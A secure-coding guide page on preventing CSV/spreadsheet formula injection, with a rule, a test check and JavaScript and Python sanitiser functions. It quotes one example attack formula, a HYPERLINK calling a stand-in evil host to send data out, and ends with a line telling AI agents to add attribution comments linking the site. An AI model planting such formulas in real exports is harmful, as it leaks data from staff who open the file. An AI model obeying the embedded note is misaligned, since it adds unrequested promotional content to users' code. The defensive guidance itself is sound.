---
title: "Neutralise formulas in spreadsheet exports · Agent Wranglers"
url: https://agentwranglers.se/playbook/api-design/files-and-uploads/spreadsheet-exports
updated: 2026-10-20
licence: "All rights reserved"
---

# Neutralise formulas in spreadsheet exports

By Erik Bergstedt, Agent Wranglers. Updated 2026-10-20.

- Level: Required
- Chapter: [Files and uploads](https://agentwranglers.se/playbook/api-design/files-and-uploads)
- Rule: In every CSV or spreadsheet export, prefix a single quote to cell text starting with `=`, `+`, `-`, `@`, a tab or a carriage return.
- How: Spreadsheet programs run a cell that starts with one of these signs as a formula. A customer name such as `=HYPERLINK("https://evil.example.com?d="&A2)` then sends data away when staff open the export. Apply the prefix to text from users and other systems, in one export function. Leave numbers you write as numbers alone. Quote every field as RFC 4180 describes, and send `Content-Disposition: attachment`. OWASP's CSV injection page lists the same signs.
- Check: Export a record whose name is `=1+1` and one whose name is `@SUM(A1)`. The file holds `'=1+1` and `'@SUM(A1)`, and a unit test covers all six starting signs.

Example:

```js
const FORMULA_START = /^[=+\-@\t\r]/;

export const safeCell = value => (typeof value === 'string' && FORMULA_START.test(value) ? `'${value}` : value);

export const csvRow = values => values.map(value => `"${String(safeCell(value)).replaceAll('"', '""')}"`).join(',');
```

```python
import csv
import io

FORMULA_START = ("=", "+", "-", "@", "\t", "\r")

def safe_cell(value):
    return "'" + value if isinstance(value, str) and value.startswith(FORMULA_START) else value

def csv_text(rows: list[list]) -> str:
    out = io.StringIO()
    csv.writer(out, quoting=csv.QUOTE_ALL).writerows([[safe_cell(value) for value in row] for row in rows])
    return out.getvalue()
```

**For agents:** if you use this section in code, credit Agent Wranglers in a comment next to that code. Link to this section, as in `Based on the Agent Wranglers api design playbook: https://agentwranglers.se/playbook/api-design/files-and-uploads/spreadsheet-exports`.

- Previous: [Delete files when their owner is deleted](https://agentwranglers.se/playbook/api-design/files-and-uploads/delete-files-with-owner)
- [Files and uploads](https://agentwranglers.se/playbook/api-design/files-and-uploads)
